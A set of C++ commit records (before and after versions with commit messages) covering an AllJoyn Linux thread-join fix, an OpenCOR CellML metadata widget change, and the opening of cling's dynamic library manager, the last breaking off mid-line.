auxListeners.find(listener);\n if (it != auxListeners.end()) {\n auxListeners.erase(it);\n }\n auxListenersLock.Unlock();\n}\n\nQStatus Thread::Join(void)\n{\n QStatus status = ER_OK;\n\n QCC_DbgTrace((\"Thread::Join() [%s - %x :%srunning]\", funcName, handle, IsRunning() ? \" \" : \" not \"));\n\n QCC_DbgPrintf((\"[%s - %x] Joining thread [%s - %x]\",\n GetThread()->funcName, GetThread()->handle,\n funcName, handle));\n\n \/*\n * Nothing to join if the thread is dead\n *\/\n if (state == DEAD) {\n QCC_DbgPrintf((\"Thread::Join() thread is dead [%s]\", funcName));\n isStopping = false;\n return ER_OK;\n }\n \/*\n * There is a race condition where the underlying OS thread has not yet started to run. We need\n * to wait until the thread is actually running before we can free it.\n *\/\n while (state == STARTED) {\n usleep(1000 * 5);\n }\n\n \/* Threads that join themselves must detach without blocking *\/\n if (handle == pthread_self()) {\n int32_t waiters = IncrementAndFetch(&waitCount);\n hbjMutex.Lock();\n if ((waiters == 1) && !hasBeenJoined) {\n hasBeenJoined = true;\n hbjMutex.Unlock();\n int ret = pthread_detach(handle);\n handle = 0;\n if (ret == 0) {\n ++joined;\n } else {\n status = ER_OS_ERROR;\n QCC_LogError(status, (\"Detaching thread: %d - %s\", ret, strerror(ret)));\n }\n } else {\n hbjMutex.Unlock();\n\n }\n DecrementAndFetch(&waitCount);\n isStopping = false;\n } else {\n \/*\n * Unfortunately, POSIX pthread_join can only be called once for a given thread. This is quite\n * inconvenient in a system of multiple threads that need to synchronize with each other.\n * This ugly looking code allows multiple threads to Join a thread. All but one thread block\n * in a Mutex. The first thread to obtain the mutex is the one that is allowed to call pthread_join.\n * All other threads wait for that join to complete. Then they are released.\n *\/\n int ret = 0;\n int32_t waiters = IncrementAndFetch(&waitCount);\n waitLock.Lock();\n hbjMutex.Lock();\n if ((waiters == 1) && !hasBeenJoined) {\n hasBeenJoined = true;\n hbjMutex.Unlock();\n ret = pthread_join(handle, NULL);\n handle = 0;\n ++joined;\n } else {\n hbjMutex.Unlock();\n\n }\n waitLock.Unlock();\n DecrementAndFetch(&waitCount);\n\n if (ret != 0) {\n status = ER_OS_ERROR;\n QCC_LogError(status, (\"Joining thread: %d - %s\", ret, strerror(ret)));\n }\n isStopping = false;\n }\n state = DEAD;\n QCC_DbgPrintf((\"Joined thread %s\", funcName));\n return status;\n}\n\nThreadReturn STDCALL Thread::Run(void* arg)\n{\n QCC_DbgTrace((\"Thread::Run() [%s:%srunning]\", funcName, IsRunning() ? \" \" : \" not \"));\n assert(NULL != function);\n assert(!isExternal);\n return (*function)(arg);\n}\n\n} \/* namespace *\/\n<commit_msg>ASACORE-502: Allow Join() on Thread never Start()ed<commit_after>\/**\n * @file\n *\n * Define a class that abstracts Linux threads.\n *\/\n\n\/******************************************************************************\n * Copyright (c) 2009-2013, AllSeen Alliance. All rights reserved.\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n ******************************************************************************\/\n#include <qcc\/platform.h>\n\n#include <algorithm>\n#include <assert.h>\n#include <errno.h>\n#include <pthread.h>\n#include <signal.h>\n#include <string.h>\n#include <time.h>\n#include <unistd.h>\n#include <map>\n\n#include <qcc\/Debug.h>\n#include <qcc\/String.h>\n#include <qcc\/Mutex.h>\n#include <qcc\/Thread.h>\n\n#include <Status.h>\n\nusing namespace std;\n\n\/** @internal *\/\n#define QCC_MODULE \"THREAD\"\n\nnamespace qcc {\n\n\nstatic uint32_t started = 0;\nstatic uint32_t running = 0;\nstatic uint32_t joined = 0;\n\n\/** Global thread list *\/\nMutex* Thread::threadListLock = NULL;\nmap<ThreadHandle, Thread*>* Thread::threadList = NULL;\n\nstatic int threadListCounter = 0;\n\nThreadListInitializer::ThreadListInitializer()\n{\n if (0 == threadListCounter++) {\n Thread::threadListLock = new Mutex();\n Thread::threadList = new map<ThreadHandle, Thread*>();\n }\n}\n\nThreadListInitializer::~ThreadListInitializer()\n{\n if (0 == --threadListCounter) {\n delete Thread::threadList;\n delete Thread::threadListLock;\n }\n}\n\nQStatus Sleep(uint32_t ms) {\n usleep(1000 * ms);\n return ER_OK;\n}\n\nThread* Thread::GetThread()\n{\n Thread* ret = NULL;\n\n \/* Find thread on Thread::threadList *\/\n threadListLock->Lock();\n map<ThreadHandle, Thread*>::const_iterator iter = threadList->find(pthread_self());\n if (iter != threadList->end()) {\n ret = iter->second;\n }\n threadListLock->Unlock();\n\n \/* If the current thread isn't on the list, then create an external (wrapper) thread *\/\n if (NULL == ret) {\n ret = new Thread(\"external\", NULL, true);\n }\n\n return ret;\n}\n\nconst char* Thread::GetThreadName()\n{\n Thread* thread = NULL;\n\n \/* Find thread on Thread::threadList *\/\n threadListLock->Lock();\n map<ThreadHandle, Thread*>::const_iterator iter = threadList->find(pthread_self());\n if (iter != threadList->end()) {\n thread = iter->second;\n }\n threadListLock->Unlock();\n\n \/* If the current thread isn't on the list, then don't create an external (wrapper) thread *\/\n if (thread == NULL) {\n return \"external\";\n }\n\n return thread->GetName();\n}\n\nvoid Thread::CleanExternalThreads()\n{\n threadListLock->Lock();\n map<ThreadHandle, Thread*>::iterator it = threadList->begin();\n while (it != threadList->end()) {\n if (it->second->isExternal) {\n delete it->second;\n threadList->erase(it++);\n } else {\n ++it;\n }\n }\n threadListLock->Unlock();\n}\n\nThread::Thread(qcc::String name, Thread::ThreadFunction func, bool isExternal) :\n stopEvent(),\n state(isExternal ? RUNNING : INITIAL),\n isStopping(false),\n function(isExternal ? NULL : func),\n handle(isExternal ? pthread_self() : 0),\n exitValue(NULL),\n listener(NULL),\n isExternal(isExternal),\n platformContext(NULL),\n alertCode(0),\n auxListeners(),\n auxListenersLock(),\n waitCount(0),\n waitLock(),\n hasBeenJoined(false)\n{\n \/* qcc::String is not thread safe. Don't use it here. *\/\n funcName[0] = '\\0';\n strncpy(funcName, name.c_str(), sizeof(funcName));\n funcName[sizeof(funcName) - 1] = '\\0';\n\n \/* If this is an external thread, add it to the thread list here since Run will not be called *\/\n if (isExternal) {\n assert(func == NULL);\n threadListLock->Lock();\n (*threadList)[handle] = this;\n threadListLock->Unlock();\n }\n QCC_DbgHLPrintf((\"Thread::Thread() created %s - %x -- started:%d running:%d joined:%d\", funcName, handle, started, running, joined));\n}\n\n\nThread::~Thread(void)\n{\n QCC_DbgHLPrintf((\"Thread::~Thread() destroying %s - %x\", funcName, handle));\n\n if (!isExternal) {\n Stop();\n Join();\n }\n\n \/* Keep object alive until waitCount goes to zero *\/\n while (waitCount) {\n qcc::Sleep(2);\n }\n\n QCC_DbgHLPrintf((\"Thread::~Thread() destroyed %s - %x -- started:%d running:%d joined:%d\", funcName, handle, started, running, joined));\n}\n\n\nThreadInternalReturn Thread::RunInternal(void* threadArg)\n{\n Thread* thread(reinterpret_cast<Thread*>(threadArg));\n sigset_t newmask;\n\n sigemptyset(&newmask);\n sigaddset(&newmask, SIGUSR1);\n\n assert(thread != NULL);\n\n \/* Plug race condition between Start and Run. (pthread_create may not write handle before run is called) *\/\n thread->handle = pthread_self();\n\n if (thread->state != STARTED) {\n return NULL;\n }\n\n ++started;\n\n QCC_DbgPrintf((\"Thread::RunInternal: %s (pid=%x)\", thread->funcName, (unsigned long) thread->handle));\n\n \/* Add this Thread to list of running threads *\/\n threadListLock->Lock();\n (*threadList)[thread->handle] = thread;\n thread->state = RUNNING;\n pthread_sigmask(SIG_UNBLOCK, &newmask, NULL);\n threadListLock->Unlock();\n\n \/* Start the thread if it hasn't been stopped *\/\n if (!thread->isStopping) {\n QCC_DbgPrintf((\"Starting thread: %s\", thread->funcName));\n ++running;\n thread->exitValue = thread->Run(thread->arg);\n --running;\n QCC_DbgPrintf((\"Thread function exited: %s --> %p\", thread->funcName, thread->exitValue));\n }\n\n thread->state = STOPPING;\n thread->stopEvent.ResetEvent();\n\n \/*\n * Call thread exit callback if specified. Note that ThreadExit may dellocate the thread so the\n * members of thread may not be accessed after this call\n *\/\n void* retVal = thread->exitValue;\n ThreadHandle handle = thread->handle;\n\n\n \/* Call aux listeners before main listener since main listner may delete the thread *\/\n thread->auxListenersLock.Lock();\n ThreadListeners::iterator it = thread->auxListeners.begin();\n while (it != thread->auxListeners.end()) {\n ThreadListener* listener = *it;\n listener->ThreadExit(thread);\n it = thread->auxListeners.upper_bound(listener);\n }\n thread->auxListenersLock.Unlock();\n\n if (thread->listener) {\n thread->listener->ThreadExit(thread);\n }\n\n \/* This also means no QCC_DbgPrintf as they try to get context on the current thread *\/\n\n \/* Remove this Thread from list of running threads *\/\n threadListLock->Lock();\n threadList->erase(handle);\n threadListLock->Unlock();\n\n return reinterpret_cast<ThreadInternalReturn>(retVal);\n}\n\nstatic const uint32_t stacksize = 256 * 1024;\n\nQStatus Thread::Start(void* arg, ThreadListener* listener)\n{\n QStatus status = ER_OK;\n\n \/* Check that thread can be started *\/\n if (isExternal) {\n status = ER_EXTERNAL_THREAD;\n } else if (isStopping) {\n status = ER_THREAD_STOPPING;\n } else if (IsRunning()) {\n status = ER_THREAD_RUNNING;\n }\n\n if (status != ER_OK) {\n QCC_LogError(status, (\"Thread::Start [%s]\", funcName));\n } else {\n int ret;\n\n \/* Clear\/initialize the join context *\/\n hasBeenJoined = false;\n waitCount = 0;\n\n \/* Reset the stop event so the thread doesn't start out alerted. *\/\n stopEvent.ResetEvent();\n \/* Create OS thread *\/\n this->arg = arg;\n this->listener = listener;\n\n state = STARTED;\n pthread_attr_t attr;\n ret = pthread_attr_init(&attr);\n if (ret != 0) {\n status = ER_OS_ERROR;\n QCC_LogError(status, (\"Initializing thread attr: %s\", strerror(ret)));\n }\n ret = pthread_attr_setstacksize(&attr, stacksize);\n if (ret != 0) {\n status = ER_OS_ERROR;\n QCC_LogError(status, (\"Setting stack size: %s\", strerror(ret)));\n }\n ret = pthread_create(&handle, &attr, RunInternal, this);\n QCC_DbgTrace((\"Thread::Start() [%s] pid = %x\", funcName, handle));\n if (ret != 0) {\n state = DEAD;\n isStopping = false;\n status = ER_OS_ERROR;\n QCC_LogError(status, (\"Creating thread %s: %s\", funcName, strerror(ret)));\n }\n }\n return status;\n}\n\nQStatus Thread::Stop(void)\n{\n \/* Cannot stop external threads *\/\n if (isExternal) {\n QCC_LogError(ER_EXTERNAL_THREAD, (\"Cannot stop an external thread\"));\n return ER_EXTERNAL_THREAD;\n } else if ((state == DEAD) || (state == INITIAL)) {\n QCC_DbgPrintf((\"Thread::Stop() thread is dead [%s]\", funcName));\n return ER_OK;\n } else {\n QCC_DbgTrace((\"Thread::Stop() %x [%s]\", handle, funcName));\n isStopping = true;\n return stopEvent.SetEvent();\n }\n}\n\nQStatus Thread::Alert()\n{\n if (state == DEAD) {\n return ER_DEAD_THREAD;\n }\n QCC_DbgTrace((\"Thread::Alert() [%s:%srunning]\", funcName, IsRunning() ? \" \" : \" not \"));\n return stopEvent.SetEvent();\n}\n\nQStatus Thread::Alert(uint32_t alertCode)\n{\n this->alertCode = alertCode;\n if (state == DEAD) {\n return ER_DEAD_THREAD;\n }\n QCC_DbgTrace((\"Thread::Alert(%u) [%s:%srunning]\", alertCode, funcName, IsRunning() ? \" \" : \" not \"));\n return stopEvent.SetEvent();\n}\n\nvoid Thread::AddAuxListener(ThreadListener* listener)\n{\n auxListenersLock.Lock();\n auxListeners.insert(listener);\n auxListenersLock.Unlock();\n}\n\nvoid Thread::RemoveAuxListener(ThreadListener* listener)\n{\n auxListenersLock.Lock();\n ThreadListeners::iterator it = auxListeners.find(listener);\n if (it != auxListeners.end()) {\n auxListeners.erase(it);\n }\n auxListenersLock.Unlock();\n}\n\nQStatus Thread::Join(void)\n{\n QStatus status = ER_OK;\n\n QCC_DbgTrace((\"Thread::Join() [%s - %x :%srunning]\", funcName, handle, IsRunning() ? \" \" : \" not \"));\n\n QCC_DbgPrintf((\"[%s - %x] Joining thread [%s - %x]\",\n GetThread()->funcName, GetThread()->handle,\n funcName, handle));\n\n \/*\n * Nothing to join if the thread is dead\n *\/\n if (state == DEAD) {\n QCC_DbgPrintf((\"Thread::Join() thread is dead [%s]\", funcName));\n isStopping = false;\n return ER_OK;\n }\n \/*\n * There is a race condition where the underlying OS thread has not yet started to run. We need\n * to wait until the thread is actually running before we can free it.\n *\/\n while (state == STARTED) {\n usleep(1000 * 5);\n }\n\n \/* Threads that join themselves must detach without blocking *\/\n if (handle == pthread_self()) {\n int32_t waiters = IncrementAndFetch(&waitCount);\n hbjMutex.Lock();\n if ((waiters == 1) && !hasBeenJoined) {\n hasBeenJoined = true;\n hbjMutex.Unlock();\n int ret = 0;\n if (state != INITIAL) {\n assert(handle);\n ret = pthread_detach(handle);\n }\n if (ret == 0) {\n ++joined;\n } else {\n status = ER_OS_ERROR;\n QCC_LogError(status, (\"Detaching thread: %d - %s\", ret, strerror(ret)));\n }\n handle = 0;\n } else {\n hbjMutex.Unlock();\n\n }\n DecrementAndFetch(&waitCount);\n isStopping = false;\n } else {\n \/*\n * Unfortunately, POSIX pthread_join can only be called once for a given thread. This is quite\n * inconvenient in a system of multiple threads that need to synchronize with each other.\n * This ugly looking code allows multiple threads to Join a thread. All but one thread block\n * in a Mutex. The first thread to obtain the mutex is the one that is allowed to call pthread_join.\n * All other threads wait for that join to complete. Then they are released.\n *\/\n int ret = 0;\n int32_t waiters = IncrementAndFetch(&waitCount);\n waitLock.Lock();\n hbjMutex.Lock();\n if ((waiters == 1) && !hasBeenJoined) {\n hasBeenJoined = true;\n hbjMutex.Unlock();\n if (state != INITIAL) {\n assert(handle);\n ret = pthread_join(handle, NULL);\n }\n handle = 0;\n ++joined;\n } else {\n hbjMutex.Unlock();\n\n }\n waitLock.Unlock();\n DecrementAndFetch(&waitCount);\n\n if (ret != 0) {\n status = ER_OS_ERROR;\n QCC_LogError(status, (\"Joining thread: %d - %s\", ret, strerror(ret)));\n }\n isStopping = false;\n }\n state = DEAD;\n QCC_DbgPrintf((\"Joined thread %s\", funcName));\n return status;\n}\n\nThreadReturn STDCALL Thread::Run(void* arg)\n{\n QCC_DbgTrace((\"Thread::Run() [%s:%srunning]\", funcName, IsRunning() ? \" \" : \" not \"));\n assert(NULL != function);\n assert(!isExternal);\n return (*function)(arg);\n}\n\n} \/* namespace *\/\n<|endoftext|>"} {"text":"<commit_before>\/\/==============================================================================\r\n\/\/ CellML annotation view metadata details widget\r\n\/\/==============================================================================\r\n\r\n#include \"borderedwidget.h\"\r\n#include \"cellmlannotationviewmetadatadetailswidget.h\"\r\n#include \"cellmlannotationviewmetadataviewdetailswidget.h\"\r\n#include \"cellmlannotationviewplugin.h\"\r\n#include \"cellmlannotationviewwidget.h\"\r\n\r\n\/\/==============================================================================\r\n\r\n#include \"ui_cellmlannotationviewmetadatadetailswidget.h\"\r\n\r\n\/\/==============================================================================\r\n\r\n#include <QLabel>\r\n\r\n\/\/==============================================================================\r\n\r\nnamespace OpenCOR {\r\nnamespace CellMLAnnotationView {\r\n\r\n\/\/==============================================================================\r\n\r\nCellmlAnnotationViewMetadataDetailsWidget::CellmlAnnotationViewMetadataDetailsWidget(CellmlAnnotationViewWidget *pParent) :\r\n Widget(pParent),\r\n mParent(pParent),\r\n mGui(new Ui::CellmlAnnotationViewMetadataDetailsWidget)\r\n{\r\n \/\/ Set up the GUI\r\n\r\n mGui->setupUi(this);\r\n\r\n \/\/ Create our unsupported metadata message widget\r\n\r\n mUnsupportedMetadataMsg = new QLabel(pParent);\r\n\r\n QFont unsupportedMetadataMsgFont = mUnsupportedMetadataMsg->font();\r\n\r\n unsupportedMetadataMsgFont.setPointSize(1.5*unsupportedMetadataMsgFont.pointSize());\r\n\r\n mUnsupportedMetadataMsg->setAlignment(Qt::AlignHCenter|Qt::AlignVCenter);\r\n mUnsupportedMetadataMsg->setFont(unsupportedMetadataMsgFont);\r\n mUnsupportedMetadataMsg->setSizePolicy(QSizePolicy::Expanding,\r\n QSizePolicy::Expanding);\r\n mUnsupportedMetadataMsg->setWordWrap(true);\r\n\r\n mBorderedUnsupportedMetadataMsg = new Core::BorderedWidget(mUnsupportedMetadataMsg,\r\n false, true, true, false);\r\n\r\n mBorderedUnsupportedMetadataMsg->setVisible(false);\r\n \/\/ Note: we don't initially want to see it, so...\r\n\r\n \/\/ Create our details widget\r\n\r\n mMetadataViewDetails = new CellmlAnnotationViewMetadataViewDetailsWidget(pParent);\r\n\r\n mBorderedMetadataViewDetails = new Core::BorderedWidget(mMetadataViewDetails,\r\n false, true, false, false);\r\n\r\n \/\/ Add our bordered widgets to our layout\r\n\r\n mGui->layout->addWidget(mBorderedUnsupportedMetadataMsg);\r\n mGui->layout->addWidget(mBorderedMetadataViewDetails);\r\n\r\n \/\/ Some further initialisations which are done as part of retranslating the\r\n \/\/ GUI (so that they can be updated when changing languages)\r\n\r\n retranslateUi();\r\n}\r\n\r\n\/\/==============================================================================\r\n\r\nCellmlAnnotationViewMetadataDetailsWidget::~CellmlAnnotationViewMetadataDetailsWidget()\r\n{\r\n \/\/ Delete the GUI\r\n\r\n delete mGui;\r\n}\r\n\r\n\/\/==============================================================================\r\n\r\nvoid CellmlAnnotationViewMetadataDetailsWidget::retranslateUi()\r\n{\r\n \/\/ Retranslate our GUI\r\n\r\n mGui->retranslateUi(this);\r\n\r\n mMetadataViewDetails->retranslateUi();\r\n\r\n \/\/ Update our unsupported metadata message\r\n\r\n mUnsupportedMetadataMsg->setText(tr(\"Sorry, but the <strong>%1<\/strong> view does not support this type of metadata...\").arg(mParent->pluginParent()->viewName()));\r\n}\r\n\r\n\/\/==============================================================================\r\n\r\nvoid CellmlAnnotationViewMetadataDetailsWidget::updateGui(const CellMLSupport::CellmlFileRdfTriples &pRdfTriples)\r\n{\r\n \/\/ Show\/hide our unsupported metadata message depending on whether the type\r\n \/\/ of the RDF triples is known or not\r\n\r\n CellMLSupport::CellmlFileRdfTriple::Type rdfTriplesType = pRdfTriples.type();\r\n\r\n mBorderedUnsupportedMetadataMsg->setVisible(rdfTriplesType == CellMLSupport::CellmlFileRdfTriple::Unknown);\r\n mBorderedMetadataViewDetails->setVisible(rdfTriplesType == CellMLSupport::CellmlFileRdfTriple::Unknown);\r\n\r\n \/\/ Update our Metadata view details GUI\r\n\r\n if (mBorderedMetadataViewDetails->isVisible())\r\n mMetadataViewDetails->updateGui(pRdfTriples);\r\n}\r\n\r\n\/\/==============================================================================\r\n\r\n} \/\/ namespace CellMLAnnotationView\r\n} \/\/ namespace OpenCOR\r\n\r\n\/\/==============================================================================\r\n\/\/ End of file\r\n\/\/==============================================================================\r\n<commit_msg>Resuming our work on the creation\/editing of metadata (#78).<commit_after>\/\/==============================================================================\r\n\/\/ CellML annotation view metadata details widget\r\n\/\/==============================================================================\r\n\r\n#include \"borderedwidget.h\"\r\n#include \"cellmlannotationviewmetadatadetailswidget.h\"\r\n#include \"cellmlannotationviewmetadataviewdetailswidget.h\"\r\n#include \"cellmlannotationviewplugin.h\"\r\n#include \"cellmlannotationviewwidget.h\"\r\n\r\n\/\/==============================================================================\r\n\r\n#include \"ui_cellmlannotationviewmetadatadetailswidget.h\"\r\n\r\n\/\/==============================================================================\r\n\r\n#include <QLabel>\r\n\r\n\/\/==============================================================================\r\n\r\nnamespace OpenCOR {\r\nnamespace CellMLAnnotationView {\r\n\r\n\/\/==============================================================================\r\n\r\nCellmlAnnotationViewMetadataDetailsWidget::CellmlAnnotationViewMetadataDetailsWidget(CellmlAnnotationViewWidget *pParent) :\r\n Widget(pParent),\r\n mParent(pParent),\r\n mGui(new Ui::CellmlAnnotationViewMetadataDetailsWidget)\r\n{\r\n \/\/ Set up the GUI\r\n\r\n mGui->setupUi(this);\r\n\r\n \/\/ Create our unsupported metadata message widget\r\n\r\n mUnsupportedMetadataMsg = new QLabel(pParent);\r\n\r\n QFont unsupportedMetadataMsgFont = mUnsupportedMetadataMsg->font();\r\n\r\n unsupportedMetadataMsgFont.setPointSize(1.5*unsupportedMetadataMsgFont.pointSize());\r\n\r\n mUnsupportedMetadataMsg->setAlignment(Qt::AlignHCenter|Qt::AlignVCenter);\r\n mUnsupportedMetadataMsg->setFont(unsupportedMetadataMsgFont);\r\n mUnsupportedMetadataMsg->setSizePolicy(QSizePolicy::Expanding,\r\n QSizePolicy::Expanding);\r\n mUnsupportedMetadataMsg->setWordWrap(true);\r\n\r\n mBorderedUnsupportedMetadataMsg = new Core::BorderedWidget(mUnsupportedMetadataMsg,\r\n false, true, true, false);\r\n\r\n mBorderedUnsupportedMetadataMsg->setVisible(false);\r\n \/\/ Note: we don't initially want to see it, so...\r\n\r\n \/\/ Create our details widget\r\n\r\n mMetadataViewDetails = new CellmlAnnotationViewMetadataViewDetailsWidget(pParent);\r\n\r\n mBorderedMetadataViewDetails = new Core::BorderedWidget(mMetadataViewDetails,\r\n false, true, false, false);\r\n\r\n \/\/ Add our bordered widgets to our layout\r\n\r\n mGui->layout->addWidget(mBorderedUnsupportedMetadataMsg);\r\n mGui->layout->addWidget(mBorderedMetadataViewDetails);\r\n\r\n \/\/ Some further initialisations which are done as part of retranslating the\r\n \/\/ GUI (so that they can be updated when changing languages)\r\n\r\n retranslateUi();\r\n}\r\n\r\n\/\/==============================================================================\r\n\r\nCellmlAnnotationViewMetadataDetailsWidget::~CellmlAnnotationViewMetadataDetailsWidget()\r\n{\r\n \/\/ Delete the GUI\r\n\r\n delete mGui;\r\n}\r\n\r\n\/\/==============================================================================\r\n\r\nvoid CellmlAnnotationViewMetadataDetailsWidget::retranslateUi()\r\n{\r\n \/\/ Retranslate our GUI\r\n\r\n mGui->retranslateUi(this);\r\n\r\n mMetadataViewDetails->retranslateUi();\r\n\r\n \/\/ Update our unsupported metadata message\r\n\r\n mUnsupportedMetadataMsg->setText(tr(\"Sorry, but the <strong>%1<\/strong> view does not support this type of metadata...\").arg(mParent->pluginParent()->viewName()));\r\n}\r\n\r\n\/\/==============================================================================\r\n\r\nvoid CellmlAnnotationViewMetadataDetailsWidget::updateGui(const CellMLSupport::CellmlFileRdfTriples &pRdfTriples)\r\n{\r\n \/\/ Show\/hide our unsupported metadata message depending on whether the type\r\n \/\/ of the RDF triples is known or not\r\n\r\n mBorderedUnsupportedMetadataMsg->setVisible(pRdfTriples.type() == CellMLSupport::CellmlFileRdfTriple::Unknown);\r\n\r\n \/\/ Update our Metadata view details GUI\r\n\r\n mMetadataViewDetails->updateGui(pRdfTriples);\r\n}\r\n\r\n\/\/==============================================================================\r\n\r\n} \/\/ namespace CellMLAnnotationView\r\n} \/\/ namespace OpenCOR\r\n\r\n\/\/==============================================================================\r\n\/\/ End of file\r\n\/\/==============================================================================\r\n<|endoftext|>"} {"text":"<commit_before>\/\/------------------------------------------------------------------------------\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author: Vassil Vassilev <vasil.georgiev.vasilev@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#include \"cling\/Interpreter\/DynamicLibraryManager.h\"\n#include \"cling\/Interpreter\/InvocationOptions.h\"\n\n#include \"llvm\/Support\/DynamicLibrary.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\n#include <stdlib.h>\n\n#ifdef WIN32\n#include <Windows.h>\n#else\n#include <limits.h> \/* PATH_MAX *\/\n#include <dlfcn.h>\n#endif\n\nnamespace cling {\n DynamicLibraryManager::DynamicLibraryManager(const InvocationOptions& Opts) \n : m_Opts(Opts) { }\n\n DynamicLibraryManager::~DynamicLibraryManager() {}\n\n static bool isSharedLib(llvm::StringRef LibName, bool& exists) {\n using namespace llvm::sys::fs;\n file_magic Magic;\n llvm::error_code Error = identify_magic(LibName, Magic);\n exists = (Error == llvm::errc::success);\n return exists &&\n#ifdef __APPLE__\n (Magic == file_magic::macho_fixed_virtual_memory_shared_lib\n || Magic == file_magic::macho_dynamically_linked_shared_lib\n || Magic == file_magic::macho_dynamically_linked_shared_lib_stub)\n#elif defined(LLVM_ON_UNIX)\n Magic == file_magic::elf_shared_object\n#elif defined(LLVM_ON_WIN32)\n# error \"Windows DLLs not yet implemented!\"\n \/\/Magic == file_magic::pecoff_executable?\n#else\n# error \"Unsupported platform.\"\n#endif\n ;\n }\n\n static void\n findSharedLibrary(llvm::StringRef fileStem,\n const llvm::SmallVectorImpl<std::string>& Paths,\n llvm::SmallString<512>& FoundDyLib,\n bool& exists, bool& isDyLib) {\n for (llvm::SmallVectorImpl<std::string>::const_iterator\n IPath = Paths.begin(), EPath = Paths.end(); IPath != EPath; ++IPath) {\n llvm::SmallString<512> ThisPath(*IPath);\n llvm::sys::path::append(ThisPath, fileStem);\n isDyLib = isSharedLib(ThisPath.str(), exists);\n if (isDyLib)\n ThisPath.swap(FoundDyLib);\n if (exists)\n return;\n }\n }\n\n#if defined(LLVM_ON_UNIX)\n static void GetSystemLibraryPaths(llvm::SmallVectorImpl<std::string>& Paths) {\n char* env_var = getenv(\"LD_LIBRARY_PATH\");\n#if __APPLE__\n if (!env_var)\n env_var = getenv(\"DYLD_LIBRARY_PATH\");\n if (!env_var)\n env_var = getenv(\"DYLD_FALLBACK_LIBRARY_PATH\");\n#endif\n if (env_var != 0) {\n static const char PathSeparator = ':';\n const char* at = env_var;\n const char* delim = strchr(at, PathSeparator);\n while (delim != 0) {\n std::string tmp(at, size_t(delim-at));\n if (llvm::sys::fs::is_directory(tmp.c_str()))\n Paths.push_back(tmp);\n at = delim + 1;\n delim = strchr(at, PathSeparator);\n }\n\n if (*at != 0)\n if (llvm::sys::fs::is_directory(llvm::StringRef(at)))\n Paths.push_back(at);\n }\n\n Paths.push_back(\"\/usr\/local\/lib\/\");\n Paths.push_back(\"\/usr\/X11R6\/lib\/\");\n Paths.push_back(\"\/usr\/lib\/\");\n Paths.push_back(\"\/lib\/\");\n }\n#elif defined(LLVM_ON_WIN32)\n static void GetSystemLibraryPaths(llvm::SmallVectorImpl<std::string>& Paths) {\n char buff[MAX_PATH];\n \/\/ Generic form of C:\\Windows\\System32\n HRESULT res = SHGetFolderPathA(NULL,\n CSIDL_FLAG_CREATE | CSIDL_SYSTEM,\n NULL,\n SHGFP_TYPE_CURRENT,\n buff);\n if (res != S_OK) {\n assert(0 && \"Failed to get system directory\");\n return;\n }\n Paths.push_back(buff);\n\n \/\/ Reset buff.\n buff[0] = 0;\n \/\/ Generic form of C:\\Windows\n res = SHGetFolderPathA(NULL,\n CSIDL_FLAG_CREATE | CSIDL_WINDOWS,\n NULL,\n SHGFP_TYPE_CURRENT,\n buff);\n if (res != S_OK) {\n assert(0 && \"Failed to get windows directory\");\n return;\n }\n Paths.push_back(buff);\n }\n#else\n# error \"Unsupported platform.\"\n#endif\n\n DynamicLibraryManager::LoadLibResult\n DynamicLibraryManager::tryLinker(const std::string& filename, bool permanent,\n bool isAbsolute, bool& exists,\n bool& isDyLib) {\n using namespace llvm::sys;\n exists = false;\n isDyLib = false;\n\n llvm::SmallString<512> FoundDyLib;\n\n if (isAbsolute) {\n isDyLib = isSharedLib(filename, exists);\n if (isDyLib)\n FoundDyLib = filename;\n } else {\n llvm::SmallVector<std::string, 16>\n SearchPaths(m_Opts.LibSearchPath.begin(), m_Opts.LibSearchPath.end());\n GetSystemLibraryPaths(SearchPaths);\n\n findSharedLibrary(filename, SearchPaths, FoundDyLib, exists, isDyLib);\n\n if (!exists) {\n \/\/ Add DyLib extension:\n llvm::SmallString<512> filenameWithExt(filename);\n#if defined(LLVM_ON_UNIX)\n#ifdef __APPLE__\n llvm::SmallString<512>::iterator IStemEnd = filenameWithExt.end() - 1;\n#endif\n static const char* DyLibExt = \".so\";\n#elif defined(LLVM_ON_WIN32)\n static const char* DyLibExt = \".dll\";\n#else\n# error \"Unsupported platform.\"\n#endif\n filenameWithExt += DyLibExt;\n findSharedLibrary(filenameWithExt, SearchPaths, FoundDyLib, exists,\n isDyLib);\n#ifdef __APPLE__\n if (!exists) {\n filenameWithExt.erase(IStemEnd + 1, filenameWithExt.end());\n filenameWithExt += \".dylib\";\n findSharedLibrary(filenameWithExt, SearchPaths, FoundDyLib, exists,\n isDyLib);\n }\n#endif\n }\n }\n\n if (!isDyLib)\n return kLoadLibError;\n \n assert(!FoundDyLib.empty() && \"The shared lib exists but can't find it!\");\n\n \/\/ get canonical path name and check if already loaded\n#ifdef WIN32\n llvm::SmallString<_MAX_PATH> FullPath(_MAX_PATH);\n char *res = _fullpath((char *)FullPath.data(), FoundDyLib.c_str(), _MAX_PATH);\n#else\n llvm::SmallString<PATH_MAX+1> FullPath(PATH_MAX+1);\n char *res = realpath(FoundDyLib.c_str(), (char *)FullPath.data());\n#endif\n if (res == 0) {\n llvm::errs() << \"cling::Interpreter::tryLinker(): error getting real (canonical) path\\n\";\n return kLoadLibError;\n }\n FullPath.set_size(strlen(res));\n if (m_loadedLibraries.find(FullPath) != m_loadedLibraries.end())\n return kLoadLibExists;\n\n \/\/ TODO: !permanent case\n#ifdef WIN32\n# error \"Windows DLL opening still needs to be implemented!\"\n void* 